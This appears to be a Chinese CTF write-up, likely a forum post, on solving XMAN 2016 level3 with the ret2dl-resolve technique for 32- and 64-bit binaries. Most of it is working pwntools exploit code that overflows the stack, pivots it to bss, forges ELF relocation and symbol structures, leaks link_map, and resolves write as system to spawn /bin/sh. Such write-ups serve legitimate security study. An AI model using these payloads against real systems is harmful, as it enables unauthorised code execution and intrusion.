RROP技术0x0a
一、XMAN 2016-level3(32+64)
★32位程序
1.常规checksec,开了Partial RELRO和NX,IDA找漏洞,很明显在vulnerable_function函数中存在栈溢出:
#注释头
char buf; // [esp+0h] [ebp-88h]
----------------------------------------------------------------------
return read(0, &buf, 0x100u);
2.很多种方法,这里选择用ret2dl-resolve来尝试解决。
3.关于ret2dl-resolve介绍,篇幅太长,不说了,后面放资料链接,介绍一下装载流程:
(1)通过struct link_map *l获得.dynsym、.dynstr、.rel.plt地址
(2)通过reloc_arg+.rel.plt地址取得函数对应的Elf32_Rel指针,记作reloc
(3)通过reloc->r_info和.dynsym地址取得函数对应的Elf32_Sym指针,记作sym
(4)检查r_info最低位是否为7
(5)检查(sym->st_other)&0x03是否为0
(6)通过strtab+(sym->st_name)获得函数对应的字符串,进行查找,找到后赋值给rel_addr,最后调用这个函数。
4.首先思考exp编写的攻击思路,由于栈溢出的比较少,而ret2dl-resolve攻击需要构造几个结构体,所占空间较大,所以这里进行栈劫持,将栈劫持到程序运行过程中生成的bss段上。之后再在栈上布置结构体和必要数据,重新执行延迟绑定,劫持动态装载,将write函数装载成system函数,并且在劫持的同时将Binsh字符串放在栈上,这样劫持完成后就直接调用system函数,参数就是binsh。
(1)首先需要找到相关的数据地址:
#注释头
write_got = 0x0804a018
read_plt = 0x08048310
plt0_addr = 0x08048300
leave_ret = 0x08048482
pop3_ret = 0x08048519
pop_ebp_ret = 0x0804851b
new_stack_addr = 0x0804a500
#程序运行起来才会有,bss与got表相邻,_dl_fixup中会降低栈后传参,设置离bss首地址远一点防止参数写入非法地址出错
relplt_addr = 0x080482b0
#.rel.plt的首地址,通过计算首地址和新栈上我们伪造的结构体Elf32_Rel偏移构造reloc_arg
dynsym_addr = 0x080481cc
#.dynsym的首地址,通过计算首地址和新栈上我们伪造的Elf32_Sym结构体偏移来构造Elf32_Rel.r_info
dynstr_addr = 0x0804822c
#.dynstr的首地址,通过计算首地址和新栈上我们伪造的函数名字符串system偏移来构造Elf32_Sym.st_name
这里寻找的relplt_addr,dynsym_addr,dynstr_addr一般都是位于ELF文件头部的LOAD段。用readelf -S binary也可以看到:
①relplt_addr:0x080482b0
②dynsym_addr:0x080481cc
③dynstr_addr:0x0804822c
(2)再进行栈劫持:
#注释头
payload = ""
payload += 'A'*140 #padding
payload += p32(read_plt)
#调用read函数往新栈写值,防止leave; retn到新栈后出现ret到地址0上导致出错
payload += p32(pop3_ret)
#read函数返回地址,从栈上弹出三个参数从而能够将esp拉到pop_ebp_ret的地方来执行
payload += p32(0) #fd = 0
payload += p32(new_stack_addr) #buf = new_stack_addr
payload += p32(0x400) #size = 0x400
payload += p32(pop_ebp_ret)
#把新栈顶给ebp
payload += p32(new_stack_addr)
payload += p32(leave_ret)
#模拟函数返回,利用leave指令把ebp的值赋给esp,完成栈劫持,同时ebp指向第二段payload的第一个内容,eip为第二段payload中的plt0_addr
io.send(payload) #此时程序会停在使用payload调用的read函数处等待输入数据
(3)伪造两个结构体和必要的数据:
#注释头
fake_Elf32_Rel_addr = new_stack_addr + 0x50
#在新栈上选择一块空间放伪造的Elf32_Rel结构体,结构体大小为8字节
fake_Elf32_Sym_addr = new_stack_addr + 0x5c
#在伪造的Elf32_Rel结构体后面接上伪造的Elf32_Sym结构体,结构体大小为0x10字节
fake_reloc_arg = fake_Elf32_Rel_addr - relplt_addr
#计算伪造的reloc_arg
fake_st_name_addr = new_stack_addr + 0x6c - dynstr_addr
#伪造的Elf32_Sym结构体后面接上伪造的函数名字符串system_addr
fake_r_info = ((fake_Elf32_Sym_addr - dynsym_addr)/0x10) << 8 | 0x7
#伪造r_info,偏移要计算成下标,除以Elf32_Sym的大小,最后一字节为0x7
fake_Elf32_Rel_data = ""
fake_Elf32_Rel_data += p32(write_got)
#r_offset = write_got,以免重定位完毕回填got表的时候出现非法内存访问错误
fake_Elf32_Rel_data += p32(fake_r_info)
fake_Elf32_Sym_data = ""
fake_Elf32_Sym_data += p32(fake_st_name_addr)
fake_Elf32_Sym_data += p32(0)
#后面的数据直接套用write函数的Elf32_Sym结构体
fake_Elf32_Sym_data += p32(0)
fake_Elf32_Sym_data += p8(0x12)
fake_Elf32_Sym_data += p8(0)
fake_Elf32_Sym_data += p16(0)
binsh_addr = new_stack_addr + 0x74 #把/bin/sh\x00字符串放在最后面
①reloc_arg作用:作为偏移值,与relplt_addr相加得到ELF32_Rel结构体的地址。这里设置成fake_reloc_arg = fake_Elf32_Rel_addr - relplt_addr,那么相加之后就可以直达我们设置的fake_ELF32_Rel结构体位置。
②st_name_addr作用:作为偏移值,与dynstr_addr相加得到存放函数名的地址。如果按照原本的重定位,那么此处计算之后存放的应该是write,所以这里将其改为system,放在所有数据的最后面,将地址存放到fake_Elf32_Sym结构体中,设置为fake_st_name_addr = new_stack_addr + 0x6c - dynstr_addr,这样相加之后就会定位到new_stack_addr + 0x6c,即我们劫持栈上的system字符串地址处,从而劫持装载。
③r_info作用:作为偏移值,使得结构体数组Elf32_Sym[r_info>>8]来找到存放write的结构体Elf32_Sym。我们知道结构体数组寻址方式其实就是addr = head_addr + size*indx,也就是首地址加上数组中元素大小乘以索引。这里由于伪造了Elf32_Sym结构体,所以我们的r_info>>8 = indx应该是addr - head_addr/size,对应的就是(fake_Elf32_Sym_addr - dynsym_addr)/0x10,得到最终的r_info为((fake_Elf32_Sym_addr - dynsym_addr)/0x10)<<8。
④设置write的Elf32_Sym结构体时,可以通过命令readelf -r binary,找到write的r_info偏移为407:
之后输入objdump -s -j .dynsym level3,查找偏移为4的Elf32_Sym结构体内容:
这里就是0x804820c,对应的内容为:
#注释头
st_name = 31000000
st_value = 00000000
st_size = 00000000
st_info = 12
st_other = 00
st_shndx = 0000
▲其实在IDA中看的更清楚:
同时由于搜寻数据时,需要查找类型R_386_JUMP_SLOT,该索引为r_info的最后一个字节,所以需要将r_info的最后一个字节设置为0x07,来通过检查。
▲以下为两个结构体内容:
#注释头
#Elf32_Rel结构体:大小为0x08
typedef struct {
Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
Elf32_Word r_info; // 符号表索引
} Elf32_Rel;
#Elf32_Sym结构体:大小为0x10
typedef struct
{
Elf32_Word st_name; // Symbol name(string tbl index)
Elf32_Addr st_value; // Symbol value
Elf32_Word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other; // Symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // Section index
} Elf32_Sym;
(4)将伪造的结构体和必要数据放在bss新栈上,从plt0_addr开始执行,调用write函数,重新装载write函数,劫持成system函数,同时修改参数为binsh,直接getshell。
#注释头
#执行数据:
payload = ""
payload += "AAAA" #位于new_stack_addr,占位用于pop ebp
payload += p32(plt0_addr) #位于new_stack_addr+0x04,调用PLT[0]
payload += p32(fake_reloc_arg) #位于new_stack_addr+0x08,传入伪造的reloc_arg
payload += p32(0) #位于new_stack_addr+0x0c,system函数返回值
payload += p32(binsh_addr) #位于new_stack_addr+0x10,修改参数为/bin/sh字符串地址
#伪造的内容数据:
payload += "A"*0x3c #位于new_stack_addr+0x14,padding
payload += fake_Elf32_Rel_data #位于new_stack_addr+0x50,Elf32_Rel结构体
payload += "AAAA" #位于new_stack_addr+0x58,padding
payload += fake_Elf32_Sym_data #位于new_stack_addr+0x5c,Elf32_Sym结构体
payload += "system\x00\x00" #位于new_stack_addr+0x6c,传入system函数名
payload += "/bin/sh\x00" #位于new_stack_addr+0x74,传入binsh字符串
io.send(payload)
io.interactive()
▲不同版本的libc也不太一样,在libc2.27及以下试过都行,但2.30及以上好像就不可以,可能版本改了多了一些检查吧。
★64位程序:
1.完全一样,只是程序改成了64位,在64位条件下有些发生了变化:
(1)两大结构体发生变化:
#注释头#Elf64_Rela结构体:大小为0x18typedef struct
{
Elf64_Addr r_offset; /(0x08)* Address */
Elf64_Xword r_info; /(0x08)* Relocation type and symbol index */
Elf64_Sxword r_addend; /(0x08)* Addend */
} Elf64_Rela;#Elf64_Sym结构体:大小为0x18typedef struct
{
Elf64_Word st_name; /(0x04)* Symbol name (string tbl index) */
unsigned char st_info; /(0x01)* Symbol type and binding */
unsigned char st_other; /(0x01)* Symbol visibility */
Elf64_Section st_shndx; /(0x02)* Section index */
Elf64_Addr st_value; /(0x08)* Symbol value */
Elf64_Xword st_size; /(0x08)* Symbol size */
} Elf64_Sym;
(2)寻址方式发生变化,不再是直接寻址,而是通过一个数组寻址,并且如果索引过大,会造成数组越界,程序崩溃。这里就需要设置link_map里的某些参数,置为0,才能跳过其中的判断语句,使得伪造的r_info能够起作用,所以这里还需要先泄露link_map的地址:(或者直接伪造link_map)
▲ GOT+4(即GOT[1])为动态库映射信息数据结构link_map 地址;GOT+8(即GOT[2])为动态链接器符号解析函数的地址_dl_runtime_resolve。
(3)同时由于通过数组索引,所以需要进行0x18的对齐,确保通过索引n*0x18到的地址是我们伪造的结构体。
2.思考exp编写:
(1)各种前置地址:
vulfun_addr = 0x4005e6
write_got = 0x600A58
read_got = 0x600A60
plt0_addr = 0x4004a0
link_map_got = 0x600A48
#GOT[1]的地址
leave_ret = 0x400618
pop_rdi_ret = 0x4006b3
pop_rbp_ret = 0x400550
new_stack_addr = 0x600d88
#程序运行起来才会有,bss与got表相邻,_dl_fixup中会降低栈后传参,设置离bss首地址远一点防止参数写入非法地址出错
relplt_addr = 0x400420
#.rel.plt的首地址,通过计算首地址和新栈上我们伪造的结构体Elf64_Rela偏移构造reloc_arg
dynsym_addr = 0x400280
#.dynsym的首地址,通过计算首地址和新栈上我们伪造的Elf64_Sym结构体偏移构造Elf64_Rela.r_info
dynstr_addr = 0x400340
#.dynstr的首地址,通过计算首地址和新栈上我们伪造的函数名字符串system偏移构造Elf64_Sym.st_name
(2)泄露link_map的地址:
#注释头
universal_gadget1 = 0x4006aa
#pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn
universal_gadget2 = 0x400690
#mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]
#使用万能gadgets调用write泄露link_map地址
payload = ""
payload += 'A'*136 #padding
payload += p64(universal_gadget1)
payload += p64(0x0)
payload += p64(0x1) #rbp,随便设置
payload += p64(write_got)
payload += p64(0x8)
payload += p64(link_map_got)
payload += p64(0x1)
payload += p64(universal_gadget2)
payload += 'A'*0x38 #栈修正
payload += p64(vulfun_addr) #返回到vulnerable_function处
io.send(payload)
io.recvuntil("Input:\n")
link_map_addr = u64(io.recv(8))
log.info("Leak link_map address:%#x" %(link_map_addr))
(3)进行栈劫持:
#注释头
payload = ""
payload += 'A'*136 #padding
payload += p64(universal_gadget1)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(read_got) #使用万能gadgets调用read向新栈中写入数据
payload += p64(0x500)
payload += p64(new_stack_addr)
payload += p64(0x0)
payload += p64(universal_gadget2)
payload += 'A'*0x38 #栈修正
payload += p64(pop_rbp_ret)
#返回到pop rbp; retn,劫持栈。此处直接劫持栈是因为如果继续修改link_map+0x1c8会导致ROP链过长,栈上的环境变量指针被破坏,从而导致system失败。
payload += p64(new_stack_addr)
payload += p64(leave_ret)
io.send(payload)
(4)伪造两大结构体和必要数据:
#注释头
fake_Elf64_Rela_base_addr = new_stack_addr + 0x150
#新栈上选择一块地址作为伪造的Elf64_Rela结构体基址,稍后还要通过计算进行0x18字节对齐
fake_Elf64_Sym_base_addr = new_stack_addr + 0x190
#新栈上选择一块地址作为伪造的Elf64_Sym结构体基址,稍后还要通过计算进行0x18字节对齐,与上一个结构体之间留出一段长度防止重叠
fake_st_name = new_stack_addr + 0x1c0 - dynstr_addr
#计算伪造的st_name数值,为伪造函数字符串system与.dynstr节开头间的偏移
binsh_addr = new_stack_addr + 0x1c8
#"/bin/sh\x00"所在地址,计算得到的
#计算两个结构体的对齐填充字节数,两个结构体大小都是0x18
rel_plt_align = 0x18 - (fake_Elf64_Rela_base_addr - relplt_addr) % 0x18
rel_sym_align = 0x18 - (fake_Elf64_Sym_base_addr - dynsym_addr) % 0x18
#加上对齐值后为结构体真正地址
fake_Elf64_Rela_addr = fake_Elf64_Rela_base_addr + rel_plt_align
fake_Elf64_Sym_addr = fake_Elf64_Sym_base_addr + rel_sym_align
fake_reloc_arg = (fake_Elf64_Rela_addr - relplt_addr)/0x18
#计算伪造的reloc_arg,由于是数组索引下标,所以需要除以结构体大小0x18
fake_r_info = (((fake_Elf64_Sym_addr - dynsym_addr)/0x18) << 0x20) | 0x7
#伪造r_info,偏移要计算成下标,除以Elf64_Sym的大小,最后一字节为0x7
fake_Elf64_Rela_data = ""
fake_Elf64_Rela_data += p64(write_got)
#r_offset = write_got,以免重定位完毕回填got表的时候出现非法内存访问错误
fake_Elf64_Rela_data += p64(fake_r_info)
fake_Elf64_Rela_data += p64(0)
fake_Elf64_Sym_data = ""
fake_Elf64_Sym_data += p32(fake_st_name)
fake_Elf64_Sym_data += p8(0x12)
#后面的数据直接套用write函数的Elf64_Sym结构体,这里要注意数据大小
fake_Elf64_Sym_data += p8(0)
fake_Elf64_Sym_data += p16(0)
fake_Elf64_Sym_data += p64(0)
fake_Elf64_Sym_data += p64(0)
(5)将link_map+0x1c8置0之后,直接再次重定位write函数,劫持为system函数,getshell:
#注释头
#使用万能gadgets调用read把link_map+0x1c8置为0
payload = ""
payload += "AAAAAAAA"
payload += p64(universal_gadget1)
payload += p64(0x0)
payload += p64(0x1) #rbp设置为1
payload += p64(read_got)
payload += p64(0x8)
payload += p64(link_map_addr + 0x1c8)
payload += p64(0x0)
payload += p64(universal_gadget2)
payload += 'A'*0x38 #栈修正
#为system函数设置参数"/bin/sh\x00",由于plt[0]函数调用重定位取参仍然是从栈上取,不会用到rdi寄存器传参,所以这里直接先传参也可。
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(plt0_addr)
payload += p64(fake_reloc_arg)
payload = payload.ljust(0x150, "A") #padding
payload += 'A'*rel_plt_align
payload += fake_Elf64_Rela_data
payload = payload.ljust(0x190, "A") #padding
payload += 'A'*rel_sym_align
payload += fake_Elf64_Sym_data
payload = payload.ljust(0x1c0, "A") #padding
payload += "system\x00\x00"
payload += "/bin/sh\x00"
io.send(payload) #写入该段payload,将数据读取到新栈
io.send(p64(0)) #执行新栈上的相关代码,设置link_map+0x1c8为0。
io.interactive()
▲题外话:这个其实是一个模板,而且最近的pwntools里面已经集成了工具,可以直接生成,有时候这个模板就特别有用,大部分用的不多。
参考资料:
https://wiki.x10sec.org/pwn/linux/stackoverflow/advanced-rop-zh/
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=44816&ctid=157
https://syst3mfailure.github.io/ret2dl_resolve
https://xz.aliyun.com/t/5722
不搞了,后面有空再说吧。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课